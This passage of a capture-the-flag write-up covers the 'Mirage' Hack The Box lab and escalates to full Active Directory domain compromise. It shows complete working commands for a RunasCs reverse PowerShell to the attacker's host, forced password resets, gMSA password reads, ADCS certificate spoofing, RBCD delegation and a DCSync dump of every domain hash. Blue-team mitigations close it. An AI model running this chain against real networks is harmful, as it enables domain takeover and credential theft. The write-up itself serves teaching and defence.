9e9ce6d97ea8db82c64ecc3b95857c96
*Evil-WinRM* PS C:\Users\nathan.aadam\Desktop>
We got the user flag in nathan.aadam home folder.
Privilege Escalation
I uploaded and ran SharpUp to quickly scout for common privesc primitives:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
*Evil-WinRM* PS C:\temp> .\SharpUp.exe audit
=== SharpUp: Running Privilege Escalation Checks ===
[!] Modifialbe scheduled tasks were not evaluated due to permissions.
[X] Unhandled exception in ModifiableServiceRegistryKeys: Exception has been thrown by the target of an invocation.
[X] Unhandled exception in ModifiableServices: Exception has been thrown by the target of an invocation.
Registry AutoLogon Found
=== Registry AutoLogons ===
DefaultDomainName: MIRAGE
DefaultUserName: mark.bbond
DefaultPassword: 1day@atime
AltDefaultDomainName:
AltDefaultUserName:
AltDefaultPassword:
[*] Completed Privesc Checks in 5 seconds
Credentials obtained: mark.bbond / 1day@atime
As this user was not part of the Remote Management Users group, I simply used RunasCs to spawn a reverse PowerShell to my box: :
1
2
3
4
5
6
*Evil-WinRM* PS C:\temp> .\RunasCs.exe "mark.bbond" "1day@atime" powershell -r 10.10.14.175:4444
[*] Warning: The logon for user 'mark.bbond' is limited. Use the flag combination --bypass-uac and --logon-type '8' to obtain a more privileged token.
[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-17308a$\Default
[+] Async process 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' with pid 352 created in background.
On my listener :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Mirage]
└─$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.14.175] from (UNKNOWN) [10.129.210.128] 51838
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows
PS C:\Windows\system32> whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== ========
SeMachineAccountPrivilege Add workstations to domain Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
PS C:\Windows\system32>
whoami /priv shows no obvious high-risk local privileges, so I pivot back to domain privileges and ACLs and found this user has ForceChangePassword over javier.mmarshall. So let’s change its password :
1
2
3
4
PS C:\Windows\system32> $SecPassword = ConvertTo-SecureString '1day@atime' -AsPlainText -Force
PS C:\Windows\system32> $Cred = New-Object System.Management.Automation.PSCredential('MIRAGE\mark.bbond', $SecPassword)
PS C:\Windows\system32> $UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
PS C:\Windows\system32> Set-DomainUserPassword -Identity javier.mmarshall -AccountPassword $UserPassword -Credential $Cred
And then send another shell as javier.mmarshall :
1
2
3
PS C:\temp> .\RunasCs.exe "javier.mmarshall" "Password123!" powershell -r 10.10.14.175:3333
.\RunasCs.exe "javier.mmarshall" "Password123!" powershell -r 10.10.14.175:3333
[-] RunasCsException: LogonUser failed with error code: This user can't sign in because this account is currently disabled
Ok…Account is disabled. I need to get rid of this hurdle before being able to use this account :
1
bloodyAD --host dc01.mirage.htb -d mirage.htb -u 'mark.bbond' -p '1day@atime' -k remove uac JAVIER.MMARSHALL -f ACCOUNTDISABLE
The -f selects which flag you want to remove from userAccountControl.
But this user also has specific logon hours set :
1
2
3
4
5
*Evil-WinRM* PS C:\Users\nathan.aadam\Documents> Get-ADUser javier.mmarshall -Properties Enabled, LogonHours | Select-Object Name, Enabled, LogonHours
Name Enabled LogonHours
---- ------- ----------
javier.mmarshall True {0, 0, 0, 0...}
LogonHours is non-null but all zeros, meaning logon is not allowed at any time. We can fix this by allowing all hours:
1
2
3
PS C:\Windows\system32> $hours = New-Object byte[] 21
PS C:\Windows\system32> 0..20 | ForEach-Object { $hours[$_] = 255 }
PS C:\Windows\system32> Set-ADUser -Identity 'javier.mmarshall' -Replace @{ logonHours = $hours }
Now that I control javier.mmarshall, I looked for any interesting privilege or ACL for this user and found that he can read GMSA password for Mirage-Service$
1
2
3
4
5
6
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Mirage]
└─$ bloodyAD -k --host dc01.mirage.htb -d 'mirage.htb' -u 'javier.mmarshall' -p 'Password123!' get object 'Mirage-Service$' --attr msDS-ManagedPassword
distinguishedName: CN=Mirage-Service,CN=Managed Service Accounts,DC=mirage,DC=htb
msDS-ManagedPassword.NTLM: aad3b435b51404eeaad3b435b51404ee:24cbbd8d239d53284f030ee9b4ff3684
msDS-ManagedPassword.B64ENCODED: jVRcm3kpYgkIoSYbKocULzGuTtkzA6+g2KgZjCeDVVAt4NSYYhgouiJHU+FZetUQzXrSUTXydtQxyTubjOttgGk8WMmPYFVDv4d/0w5wUskkWLNmkZeU41CGrp+MhMFmfdgbvssGfWDGn7QlkO2BzhrzGUD0q+DBOvBskMYXcQQlX65yeMbxWiD7s44JQur70RW9K3oGgfQOTTANm1ICLn51PVnGkTe0c2BGlsmuIsti6haUDBCyth7RJzzt7kXoEbOoa/Hw2pk7bEw2E/SopcLO1lSEMxNo3pVW9b/n4+qIzaeGdnQnL8eQBEBOCBUemKjb/+tGafAn1Sz1dmDVrA==
In this case, RunasCS need an interactive logon and a token but cannot get it. So running GMSAPasswordReader.exe failed. bloodyAD doesn’t care about tokens, it talks directly to LDAP using provided creds.
But there is another way. Let’s first get a ticket for this account and authenticate :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Mirage]
└─$ impacket-getTGT mirage.htb/Mirage-Service\$ -hashes :7a77d15fb5a4b7035ef2524b1cc4142f
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in Mirage-Service$.ccache
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Mirage]
└─$ export KRB5CCNAME=./Mirage-Service\$.ccache
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Mirage]
└─$ klist
Ticket cache: FILE:./Mirage-Service$.ccache
Default principal: Mirage-Service$@MIRAGE.HTB
Valid starting Expires Service principal
09/02/2025 01:09:36 09/02/2025 11:09:36 krbtgt/MIRAGE.HTB@MIRAGE.HTB
renew until 09/03/2025 01:09:36
ADCS abuse (ESC7-style) – getting a DC certificate
The next step is to abuse ADCS mapping so that we can authenticate as dc01$.
Step 1 – Temporarily set mark.bbond UPN to dc01$@mirage.htb
1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Mirage]
└─$ certipy-ad account update \
-user 'mark.bbond' \
-upn 'dc01$@mirage.htb' \
-u 'mirage-service$@mirage.htb' \
-k -no-pass \
-dc-ip 10.129.139.149 \
-target dc01.mirage.htb
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Updating user 'mark.bbond':
userPrincipalName : dc01$@mirage.htb
[*] Successfully updated 'mark.bbond'
At this point:
- AD thinks that mark’s UPN = dc01$@mirage.htb.
- I will request a certificate using the User template, which is vulnerable in an ESC7-style way (UPN / SAN mapping is effectively under attacker control).
Step 2 – Request a certificate as mark.bbond
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Mirage]
└─$ impacket-getTGT mirage.htb/mark.bbond:'1day@atime'
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in mark.bbond.ccache
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Mirage]
└─$ export KRB5CCNAME=mark.bbond.ccache
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Mirage]
└─$ certipy-ad req \
-u 'mark.bbond@mirage.htb' \
-k -no-pass \
-dc-ip 10.129.139.149 \
-target 'dc01.mirage.htb' \
-ca 'mirage-DC01-CA' \
-template 'User'
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[!] DC host (-dc-host) not specified and Kerberos authentication is used. This might fail
[*] Requesting certificate via RPC
[*] Request ID is 10
[*] Successfully requested certificate
[*] Got certificate with UPN 'dc01$@mirage.htb'
[*] Certificate object SID is 'S-1-5-21-2127163471-3824721834-2568365109-1109'
[*] Saving certificate and private key to 'dc01.pfx'
[*] Wrote certificate and private key to 'dc01.pfx'
Step 3 – Revert mark.bbond’s UPN
I should now revert UPN back for mark.bbond
Why ?
- If mark’s UPN = dc01$@mirage.htb, the CA injects mark’s SID => cert maps to mark => mismatch.
- If mark’s UPN = mark.bbond@mirage.htb (normal), but I request SAN=dc01$@mirage.htb, the cert only has SAN => cert maps to dc01$. So I need to “reverse impersonation” by putting mark back to himself, otherwise strong binding kept overriding weak mapping.
So let’s proceed with UPN revert :
1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Mirage]
└─$ certipy-ad account update \
-user 'mark.bbond' \
-upn 'mark.bbond@mirage.htb' \
-u 'mirage-service$@mirage.htb' \
-k -no-pass \
-dc-ip 10.129.139.149 \
-target dc01.mirage.htb
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Updating user 'mark.bbond':
userPrincipalName : mark.bbond@mirage.htb
[*] Successfully updated 'mark.bbond'
After this:
- Mark’s account looks normal again.
- The certificate in dc01.pfx still contains UPN dc01$@mirage.htb, which AD can map to the dc01$ computer account when we use it with Certipy.
RBCD from dc01$ => Mirage-Service$ => DCSync
What I will now do is to add delegation rights so that Mirage-Service$ can impersonate any user on dc01$
Authenticate with the certificate:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Mirage]
└─$ certipy-ad auth -pfx dc01.pfx -dc-ip 10.129.139.149 -ldap-shell
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: 'dc01$@mirage.htb'
[*] Security Extension SID: 'S-1-5-21-2127163471-3824721834-2568365109-1109'
[*] Connecting to 'ldaps://10.129.139.149:636'
[*] Authenticated to '10.129.139.149' as: 'u:MIRAGE\\DC01$'
Type help for list of commands
# set_rbcd dc01$ Mirage-Service$
Found Target DN: CN=DC01,OU=Domain Controllers,DC=mirage,DC=htb
Target SID: S-1-5-21-2127163471-3824721834-2568365109-1000
Found Grantee DN: CN=Mirage-Service,CN=Managed Service Accounts,DC=mirage,DC=htb
Grantee SID: S-1-5-21-2127163471-3824721834-2568365109-1112
Delegation rights modified successfully!
Mirage-Service$ can now impersonate users on dc01$ via S4U2Proxy
#
Certipy identifies us as:
- SAN UPN: dc01$@mirage.htb
Inside the LDAP shell, I configured Resource-Based Constrained Delegation (RBCD) so that Mirage-Service$ can act on behalf of users to dc01$ This writes an msDS-AllowedToActOnBehalfOfOtherIdentity entry on the DC that trusts Mirage-Service$.
Using my gMSA hash again, I requested an S4U2Proxy service ticket:
1
2
3
4
5
6
7
8
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Mirage]
└─$ impacket-getST -spn 'cifs/DC01.mirage.htb' -impersonate 'dc01$' -dc-ip 10.129.139.149 'mirage.htb/Mirage-Service$' -hashes :7a77d15fb5a4b7035ef2524b1cc4142f
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Impersonating dc01$
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in dc01$@cifs_DC01.mirage.htb@MIRAGE.HTB.ccache
DCSync – dumping all domain hashes
And now the trivial part : dumping all the hashes of the domain :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Mirage]
└─$ export KRB5CCNAME='dc01$@cifs_DC01.mirage.htb@MIRAGE.HTB.ccache'
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Mirage]
└─$ impacket-secretsdump -k -no-pass -dc-ip 10.129.139.149 dc01.mirage.htb
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[-] Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
mirage.htb\Administrator:500:aad3b435b51404eeaad3b435b51404ee:7be6d4f3c2b9c0e3560f5a29eeb1afb3:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:1adcc3d4a7f007ca8ab8a3a671a66127:::
mirage.htb\Dev_Account_A:1104:aad3b435b51404eeaad3b435b51404ee:3db621dd880ebe4d22351480176dba13:::
mirage.htb\Dev_Account_B:1105:aad3b435b51404eeaad3b435b51404ee:fd1a971892bfd046fc5dd9fb8a5db0b3:::
mirage.htb\david.jjackson:1107:aad3b435b51404eeaad3b435b51404ee:ce781520ff23cdfe2a6f7d274c6447f8:::
mirage.htb\javier.mmarshall:1108:aad3b435b51404eeaad3b435b51404ee:694fba7016ea1abd4f36d188b3983d84:::
mirage.htb\mark.bbond:1109:aad3b435b51404eeaad3b435b51404ee:8fe1f7f9e9148b3bdeb368f9ff7645eb:::
mirage.htb\nathan.aadam:1110:aad3b435b51404eeaad3b435b51404ee:1cdd3c6d19586fd3a8120b89571a04eb:::
mirage.htb\svc_mirage:2604:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:b5b26ce83b5ad77439042fbf9246c86c:::
Mirage-Service$:1112:aad3b435b51404eeaad3b435b51404ee:7a77d15fb5a4b7035ef2524b1cc4142f:::
[*] Kerberos keys grabbed
mirage.htb\Administrator:aes256-cts-hmac-sha1-96:09454bbc6da252ac958d0eaa211293070bce0a567c0e08da5406ad0bce4bdca7
mirage.htb\Administrator:aes128-cts-hmac-sha1-96:47aa953930634377bad3a00da2e36c07
mirage.htb\Administrator:des-cbc-md5:e02a73baa10b8619
krbtgt:aes256-cts-hmac-sha1-96:95f7af8ea1bae174de9666c99a9b9edeac0ca15e70c7246cab3f83047c059603
krbtgt:aes128-cts-hmac-sha1-96:6f790222a7ee5ba9d2776f6ee71d1bfb
krbtgt:des-cbc-md5:8cd65e54d343ba25
mirage.htb\Dev_Account_A:aes256-cts-hmac-sha1-96:e4a6658ff9ee0d2a097864d6e89218287691bf905680e0078a8e41498f33fd9a
mirage.htb\Dev_Account_A:aes128-cts-hmac-sha1-96:ceee67c4feca95b946e78d89cb8b4c15
mirage.htb\Dev_Account_A:des-cbc-md5:26dce5389b921a52
mirage.htb\Dev_Account_B:aes256-cts-hmac-sha1-96:5c320d4bef414f6a202523adfe2ef75526ff4fc6f943aaa0833a50d102f7a95d
mirage.htb\Dev_Account_B:aes128-cts-hmac-sha1-96:e05bdceb6b470755cd01fab2f526b6c0
mirage.htb\Dev_Account_B:des-cbc-md5:e5d07f57e926ecda
mirage.htb\david.jjackson:aes256-cts-hmac-sha1-96:3480514043b05841ecf08dfbf33d81d361e51a6d03ff0c3f6d51bfec7f09dbdb
mirage.htb\david.jjackson:aes128-cts-hmac-sha1-96:bd841caf9cd85366d254cd855e61cd5e
mirage.htb\david.jjackson:des-cbc-md5:76ef68d529459bbc
mirage.htb\javier.mmarshall:aes256-cts-hmac-sha1-96:20acfd56be43c1123b3428afa66bb504a9b32d87c3269277e6c917bf0e425502
mirage.htb\javier.mmarshall:aes128-cts-hmac-sha1-96:9d2fc7611e15be6fe16538ebb3b2ad6a
mirage.htb\javier.mmarshall:des-cbc-md5:6b3d51897fdc3237
mirage.htb\mark.bbond:aes256-cts-hmac-sha1-96:dc423caaf884bb869368859c59779a757ff38a88bdf4197a4a284b599531cd27
mirage.htb\mark.bbond:aes128-cts-hmac-sha1-96:78fcb9736fbafe245c7b52e72339165d
mirage.htb\mark.bbond:des-cbc-md5:d929fb462ae361a7
mirage.htb\nathan.aadam:aes256-cts-hmac-sha1-96:b536033ac796c7047bcfd47c94e315aea1576a97ff371e2be2e0250cce64375b
mirage.htb\nathan.aadam:aes128-cts-hmac-sha1-96:b1097eb42fd74827c6d8102a657e28ff
mirage.htb\nathan.aadam:des-cbc-md5:5137a74f40f483c7
mirage.htb\svc_mirage:aes256-cts-hmac-sha1-96:937efa5352253096b3b2e1d31a9f378f422d9e357a5d4b3af0d260ba1320ba5e
mirage.htb\svc_mirage:aes128-cts-hmac-sha1-96:8d382d597b707379a254c60b85574ab1
mirage.htb\svc_mirage:des-cbc-md5:2f13c12f9d5d6708
DC01$:aes256-cts-hmac-sha1-96:4a85665cd877c7b5179c508e5bc4bad63eafe514f7cedb0543930431ef1e422b
DC01$:aes128-cts-hmac-sha1-96:94aa2a6d9e156b7e8c03a9aad4af2cc1
DC01$:des-cbc-md5:cb19ce2c733b3ba8
Mirage-Service$:aes256-cts-hmac-sha1-96:775fbe4b69d45f1235b2d52afddad373bdee3258baa030d63404f5e5d0cb5530
Mirage-Service$:aes128-cts-hmac-sha1-96:768341fd452bdf2fccd8a85dce2a6a68
Mirage-Service$:des-cbc-md5:c42ffd455b91f208
[*] Cleaning up...
Root Flag
Now that I dumped all the hashes, I will issue a new ticket for the administrator user, then authenticate on the DC and get the root flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Mirage]
└─$ impacket-getTGT mirage.htb/Administrator -hashes aad3b435b51404eeaad3b435b51404ee:7be6d4f3c2b9c0e3560f5a29eeb1afb3
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in Administrator.ccache
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Mirage]
└─$ export KRB5CCNAME=Administrator.ccache
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Mirage]
└─$ evil-winrm -i dc01.mirage.htb -u 'Administrator' -r mirage.htb
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Warning: User is not needed for Kerberos auth. Ticket will be used
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ..
*Evil-WinRM* PS C:\Users\Administrator> cd Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> ls
Directory: C:\Users\Administrator\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 9/1/2025 12:20 PM 34 root.txt
*Evil-WinRM* PS C:\Users\Administrator\Desktop> cat root.txt
9b11b525001941df4ebb3e6433d75725
*Evil-WinRM* PS C:\Users\Administrator\Desktop>
Note: We never actually perform a “normal” NTLM network authentication as Administrator. Instead, we leverage the NT hash to get a Kerberos TGT and keep all final access krb5-based, compatible with the NTLM hardening seen in the PDFs.
Mitigations / Blue team notes
- NFS & internal reports
- Restrict NFS exports to trusted internal networks / VPN only.
- Don’t store detailed incident reports / configs on world-readable shares.
- DNS & service hijack
- Use secure dynamic updates (AD-integrated + Kerberos) for DNS.
- Lock down who can modify critical records like nats-svc.mirage.htb.
- Alert on unexpected A/AAAA record changes for service names.
- NATS & credential exposure
- Avoid sending user/pass in clear in NATS CONNECT (use mTLS, NKEY/JWT).
- Don’t log plaintext passwords in streams like logs.auth.
- Restrict who can read auth-related streams and monitor access.
- Kerberoastable service accounts
- Use strong, random passwords (or gMSA) for all SPN accounts.
- Disable RC4 where possible and prefer AES-only Kerberos.
- Monitor for large volumes of TGS requests for the same SPN.
- AutoLogon & registry secrets
- Disable AutoAdminLogon and remove DefaultPassword from Winlogon.
- Replace “always logged-in” users with service accounts / gMSA.
- Dangerous AD ACLs (ForceChangePassword, etc.)
- Regularly review ACLs with BloodHound; remove ForceChangePassword / GenericAll from non-admins.
- When disabling accounts, also strip their delegated rights.
- gMSA & ADCS / RBCD chain
- Limit which principals can read gMSA passwords (msDS-ManagedPassword).
- Audit ADCS templates for ESC1–ESC7 issues (no arbitrary UPN/SAN, strict enrollment).
- Monitor and baseline msDS-AllowedToActOnBehalfOfOtherIdentity (RBCD) on DCs.
- Watch for DCSync-like replication calls from non-DC hosts.



